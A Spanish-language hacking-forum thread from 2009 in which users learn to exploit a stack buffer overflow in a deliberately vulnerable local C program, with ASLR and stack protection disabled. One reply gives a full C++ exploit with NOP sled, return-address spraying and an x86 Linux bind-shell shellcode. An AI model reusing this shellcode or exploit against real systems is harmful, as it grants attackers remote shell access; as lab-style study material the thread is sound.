elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
19 Marzo 2010, 13:24  


Temas destacados: ¿Cómo iniciarse en la Electrónica?


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: Anon, berz3k)
| | |-+  [Problema] Escribiendo un exploit para BoF
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: [Problema] Escribiendo un exploit para BoF  (Leído 1239 veces)
~ Yoya ~

Desconectado Desconectado

Mensajes: 270



Ver Perfil
[Problema] Escribiendo un exploit para BoF
« en: 30 Noviembre 2009, 23:11 »

Buenas a todos, estoy diseñando un exploit en perl para explotar un programa vulnerable a BoF (buffer overflow) el problema mas grande de esto es brutear la direccion de retorno, que no se bien como haserle, ps aqui posteo algunos adelantos.

Programa vulnerable:
Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void funcion(char *ax);
int main (int argc, char *argv[])
{
if(argc<2)
{
printf("Uso: %s cadena\x0a", argv[0])
                                    ;
return 0;
}
funcion (argv[1]);
return (0);
}
void funcion (char *ax)
{
char buffer[1024];
strcpy (buffer, ax);
printf ("Cadena:\n%s\n", buffer);
}

Lo compilo, desactivo el VA protector y ahora paso a darle el bit suid

Código:
# gcc vuln.c -o vuln -fno-stack-protector
# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
# chmod ug+s vuln

Oka, el problema esque nose como hare para codearle el exploit y explotarlo.
Pd: Se puede decir que soy intermedio programando en perl, por si las dudas.
En línea

Visita Undersecurity.net
Mi blog
return "saludos"
Error in line 1 xDD.
braulio23

Desconectado Desconectado

Mensajes: 660


Dios mueve al jugador y este la pieza.


Ver Perfil WWW
Re: [Problema] Escribiendo un exploit para BoF
« Respuesta #1 en: 01 Diciembre 2009, 14:58 »

Una cosa que hice yo para explotar el primer BoF (me encantó conseguirlo) es hacer que se printara la dirección de memoria en la que se guarda el primer carácter de la variable y esa es la dirección que puedes poner de retorno.
Lo hago con cout porque no se usar bien printf
Código:
cout<<"Direccion : 0x"<<hex<<&buffer[0]<<endl;
Tendrías que ver con el debugger, el número exacto de carácteres que tienes que escribir para sobreescribir EIP (creo que seran 1036) , entonces la cadena que tendrás que pasarle al programa será algo así. (Imaginemos que la shellcode tiene 40 carácteres)
Código:
992 nops + shellcode (40 bytes) + direccion de retorno (4 bytes)(es la dirección de la variable en la que se copia argv[1])
Supongo que ya sabrás como codear el exploit.
Suerte.
En línea

~ Yoya ~

Desconectado Desconectado

Mensajes: 270



Ver Perfil
Re: [Problema] Escribiendo un exploit para BoF
« Respuesta #2 en: 01 Diciembre 2009, 19:14 »

Ps te pediria dos cosas, nose muxo c++, pero le entiendo, diseña un exploit para explotar esa vulnerabilidad y lo paso a perl ,no entendi muxo tu code.
Código:
cout<<"Direccion : 0x"<<hex<<&buffer[0]<<endl;
Lo que veo, esque pasas a hex algun valor, me imagino que seria &buffer[0], pero nose que es, yaque parece una funcion creada, pero usa corchetes al final, no entiendo muxo c++, por lo que te pido que diseñes uno aver.
En línea

Visita Undersecurity.net
Mi blog
return "saludos"
Error in line 1 xDD.
braulio23

Desconectado Desconectado

Mensajes: 660


Dios mueve al jugador y este la pieza.


Ver Perfil WWW
Re: [Problema] Escribiendo un exploit para BoF
« Respuesta #3 en: 01 Diciembre 2009, 22:39 »

Este es el primer programa vulnerable que exploté :
Código:
#include <iostream>
#include <string.h>

using namespace std;
int strcpyt(char **argv)
{
char vuln[512];
cout<<strlen(argv[1])<<" caracteres"<<endl;
cout<<"Argv[1] = "<<argv[1]<<endl;
cout<<"&Argv[1] = "<<&argv[1]<<endl;
strcpy(vuln,argv[1]);
cout<<"Vuln = "<<vuln<<endl;
cout<<"&Vuln = "<<&vuln<<endl;
return 0;
}
int main(int argc,char **argv)
{
strcpyt(argv);
return 0;
}
Te da información (para que sea mas fácil de explotar) sobre la direcciones de las variables, la longitud etc...
Y esté es el exploit que programé :
Código
#include <iostream>
#include <string.h>
#include <stdlib.h>
 
using namespace std;
 
unsigned long sp(void)        
{ __asm__("movl %esp, %eax");}
 
int main(int argc,char **argv)
{
int hastaret = atoi(argv[1]);
char shellcode[] =   "\x31\xdb" // xor    ebx, ebx
  "\xf7\xe3" // mul    ebx
  "\xb0\x66" // mov     al, 102
  "\x53" // push    ebx
  "\x43" // inc     ebx
  "\x53" // push    ebx
  "\x43" // inc     ebx
  "\x53" // push    ebx
  "\x89\xe1" // mov     ecx, esp
  "\x4b" // dec     ebx
  "\xcd\x80" // int     80h
  "\x89\xc7" // mov     edi, eax
  "\x52" // push    edx
  "\x66\x68\x4e\x20" // push    word 8270
  "\x43" // inc     ebx
  "\x66\x53" // push    bx
  "\x89\xe1" // mov     ecx, esp
  "\xb0\xef" // mov    al, 239
  "\xf6\xd0" // not    al
  "\x50" // push    eax
  "\x51" // push    ecx
  "\x57" // push    edi
  "\x89\xe1" // mov     ecx, esp
  "\xb0\x66" // mov     al, 102
  "\xcd\x80" // int     80h
  "\xb0\x66" // mov     al, 102
  "\x43" // inc    ebx
  "\x43" // inc    ebx
  "\xcd\x80" // int     80h
  "\x50" // push    eax
  "\x50" // push    eax
  "\x57" // push    edi
  "\x89\xe1" // mov    ecx, esp
  "\x43" // inc    ebx
  "\xb0\x66" // mov    al, 102
  "\xcd\x80" // int    80h
  "\x89\xd9" // mov    ecx, ebx
  "\x89\xc3" // mov     ebx, eax
  "\xb0\x3f" // mov     al, 63
  "\x49" // dec     ecx
  "\xcd\x80" // int     80h
  "\x41" // inc     ecx
  "\xe2\xf8" // loop    lp
  "\x51" // push    ecx
  "\x68\x6e\x2f\x73\x68" // push    dword 68732f6eh
  "\x68\x2f\x2f\x62\x69" // push    dword 69622f2fh
  "\x89\xe3" // mov     ebx, esp
  "\x51" // push    ecx
  "\x53" // push    ebx
  "\x89\xe1" // mov    ecx, esp
  "\xb0\xf4" // mov    al, 244
  "\xf6\xd0" // not    al
  "\xcd\x80"; // int     80h
char *nops = new char[hastaret-strlen(shellcode)-strlen("AAAA")];
for (int i=0;i<hastaret-strlen(shellcode)-strlen("AAAA");i++)
 nops[i] = '\x90';
nops[hastaret-strlen(shellcode)-strlen("AAAA")] = '\0';
char *evilinput = new char[hastaret];
long ret=sp(),*addrptr;
addrptr = (long * )evilinput;
for (int i=0;i<hastaret;i+=4)
{
(*(addrptr++)) = ret;
}
strcat(evilinput,nops);
strcat(evilinput,shellcode);
//strcat(evilinput,"AAAA");
cout<<"/***************************************************/"<<endl;
cout<<"Usando "<<strlen(evilinput)<<" caracteres"<<endl;
cout<<"RET = 0x"<<hex<<ret<<endl;
cout<<"Usando "<<dec<<strlen(nops)<<" nops"<<endl;
cout<<"/****************************************************/"<<endl;
execl("./vuln","vuln", evilinput, 0);
 
delete nops, evilinput;
return 0;
}
 
Para que funcione tienes que llamar al programa vulnerable vuln y ponerlo en la misma ruta que el exploit, que te dirá cuantos nops usa, la dirección de retorno que usar...
Compilar y explotar :
Código:
# sysctl -w kernel.randomize_va_space=0
# g++ vuln.cpp -o vuln -f-no-stack-protector
# g++ exploit.cpp -o exploit
# ./exploit 1036 (bytes para sobreescribir EIP) (Te debería ejecutar el programa y dar shell)
Es posible que no te funcione por cambio de direcciones de memoria.
Te recomiendo que dejes mi exploit e intentes debuguear el vuln por ti mismo y crear tu exploit a la que creo que le tendrás que poner una dirección de retorno fija porque creo que no se puede sacar en perl.
Suerte , y , si tienes alguna duda pregunta.
En línea

~ Yoya ~

Desconectado Desconectado

Mensajes: 270



Ver Perfil
Re: [Problema] Escribiendo un exploit para BoF
« Respuesta #4 en: 03 Diciembre 2009, 19:00 »

Oka, lo que voy hacer, es inportar un modulo en perl para poder escribir codes en C++, pero te pregunto dos cosas.

Decime como sobreescribes la pilas con la shellcode para que generes NOP y como bruteas el offset en C++
En línea

Visita Undersecurity.net
Mi blog
return "saludos"
Error in line 1 xDD.
braulio23

Desconectado Desconectado

Mensajes: 660


Dios mueve al jugador y este la pieza.


Ver Perfil WWW
Re: [Problema] Escribiendo un exploit para BoF
« Respuesta #5 en: 04 Diciembre 2009, 15:05 »

La pila la sobreescribes inyectando mas carácteres que el número de carácteres  que  se reservó . Por ejemplo :
Código:
char buffer[6];
strcpy(buffer,argv[1]);
Si haces :
Código:
$ ./vuln holaholaolahola

Sobreescribirá las posiciones de memoria adyacentes y quizás hasta sobreescriba EIP.Lo de generar NOPS no se lo que quieres decir.
Los nops son instrucciones para el procesador que lo que hacen es avanzar un ciclo sin hacer nada pero por lo menos son válidos para el procesador.
En c++ lo que se hace para brutear el offset es obtener la dirección de ESP que es la dirección de la parte superior de la pila, eso se hace con esta función :
Código:
unsigned long sp(void)         
{ __asm__("movl %esp, %eax");}
Suerte
En línea

~ Yoya ~

Desconectado Desconectado

Mensajes: 270



Ver Perfil
Re: [Problema] Escribiendo un exploit para BoF
« Respuesta #6 en: 04 Diciembre 2009, 18:36 »

pero para sobreescribir la pila no es necesariamente primero ejecutar el debbuger luego sobreescribirla.
En línea

Visita Undersecurity.net
Mi blog
return "saludos"
Error in line 1 xDD.
braulio23

Desconectado Desconectado

Mensajes: 660


Dios mueve al jugador y este la pieza.


Ver Perfil WWW
Re: [Problema] Escribiendo un exploit para BoF
« Respuesta #7 en: 04 Diciembre 2009, 22:51 »

No, no hace falta, pero el debugger te lo facilita porque te da información de las direcciones , los registros ...
En línea

Anon
Estudiante y
Moderador
*****
Desconectado Desconectado

Mensajes: 1.895


Anonymous & Paranoid


Ver Perfil WWW
Re: [Problema] Escribiendo un exploit para BoF
« Respuesta #8 en: 09 Diciembre 2009, 22:08 »

Buenas a todos, estoy diseñando un exploit en perl para explotar un programa vulnerable a BoF (buffer overflow) el problema mas grande de esto es brutear la direccion de retorno, que no se bien como haserle, ps aqui posteo algunos adelantos.


Es totalmente posible hacerlo en perl.

Si no se quiere forcebrutear la direccion de retorno, se pueden usar las variables de entorno para hacerlo.
En línea

En la escuela "Temporada Baja"

Blog stack and heap
Mi Windows Live Space
Mi Twitter
Mi Canal Youtube

no free software, no free bugs
~ Yoya ~

Desconectado Desconectado

Mensajes: 270



Ver Perfil
Re: [Problema] Escribiendo un exploit para BoF
« Respuesta #9 en: 09 Diciembre 2009, 23:11 »

haber, me podais dar un ejemplo, con un code en perl, creo que se puede tomar la direccion ESP luego irle incrementando hasta que de la direccion de retorno, haber si me ilustras xD.
En línea

Visita Undersecurity.net
Mi blog
return "saludos"
Error in line 1 xDD.
Anon
Estudiante y
Moderador
*****
Desconectado Desconectado

Mensajes: 1.895


Anonymous & Paranoid


Ver Perfil WWW
Re: [Problema] Escribiendo un exploit para BoF
« Respuesta #10 en: 13 Diciembre 2009, 03:03 »

Mira, anteriormente se expuso el tema, en un torneo que se realizo:

https://foro.elhacker.net/warzone/documentacion_torneo_shell-t251468.0.html

El documento en es:

Reto HoF - TS Warzone.pdf

Ahi se aplica de forma un tanto diferente no se ejecuta shell, sin embargo este el ejemplo de codigo en perl.
En línea

En la escuela "Temporada Baja"

Blog stack and heap
Mi Windows Live Space
Mi Twitter
Mi Canal Youtube

no free software, no free bugs
~ Yoya ~

Desconectado Desconectado

Mensajes: 270



Ver Perfil
Re: [Problema] Escribiendo un exploit para BoF
« Respuesta #11 en: 27 Diciembre 2009, 05:18 »

Bueno saliendo un poco del theme, hase tiempo tengo esta duda.

Se podria modificar la direccion esp, osea, esto me vino a la mente hase mucho ya que algunos exploit basados en vulnerabilidades de aplicaciones en este caso a Buffer overflow, tienen una direccion esp por defectos en sus exploit, u otros no tienen ninguna direccion de alguna memoria, ps me gustaria saber su funcionamiento.
En línea

Visita Undersecurity.net
Mi blog
return "saludos"
Error in line 1 xDD.
Anon
Estudiante y
Moderador
*****
Desconectado Desconectado

Mensajes: 1.895


Anonymous & Paranoid


Ver Perfil WWW
Re: [Problema] Escribiendo un exploit para BoF
« Respuesta #12 en: 27 Diciembre 2009, 05:24 »

En windows en es necesario conocer la direccion de un "jmp esp" que varia de sistema en sistema, de version y segun las dll que esten cargadas en memoria, como ya se a comentado. y sabemos que en esp esta nuestra shellcode.

En los exploits que no se ocupa saber la direccion de nuestro shellcode, solo tenemos una aproximacion inicial, el eip es sobre escrito con una direccion aproximada donde tenemos muchos "nop" (no operation) y despues de "resbalar" entre muchos nop, al final de ellos estara nuestra shellcode la cual se ejecutara.

Esperate unos dias y te tengo listo el video.

Saludos
En línea

En la escuela "Temporada Baja"

Blog stack and heap
Mi Windows Live Space
Mi Twitter
Mi Canal Youtube

no free software, no free bugs
~ Yoya ~

Desconectado Desconectado

Mensajes: 270



Ver Perfil
Re: [Problema] Escribiendo un exploit para BoF
« Respuesta #13 en: 27 Diciembre 2009, 05:37 »

Listo man, hay le espero y gracias por la información.
En línea

Visita Undersecurity.net
Mi blog
return "saludos"
Error in line 1 xDD.
Páginas: [1] Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

Yashira.org    Videojuegos    indetectables.net    Seguridad Informatica Colombia    Indejuegos    Internet móvil

Noticias Informatica    Seguridad Informática    ADSL    eNYe Sec    Seguridad Wireless    Underground México    Biblioteca de Seguridad

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.11 | SMF © 2006-2008, Simple Machines LLC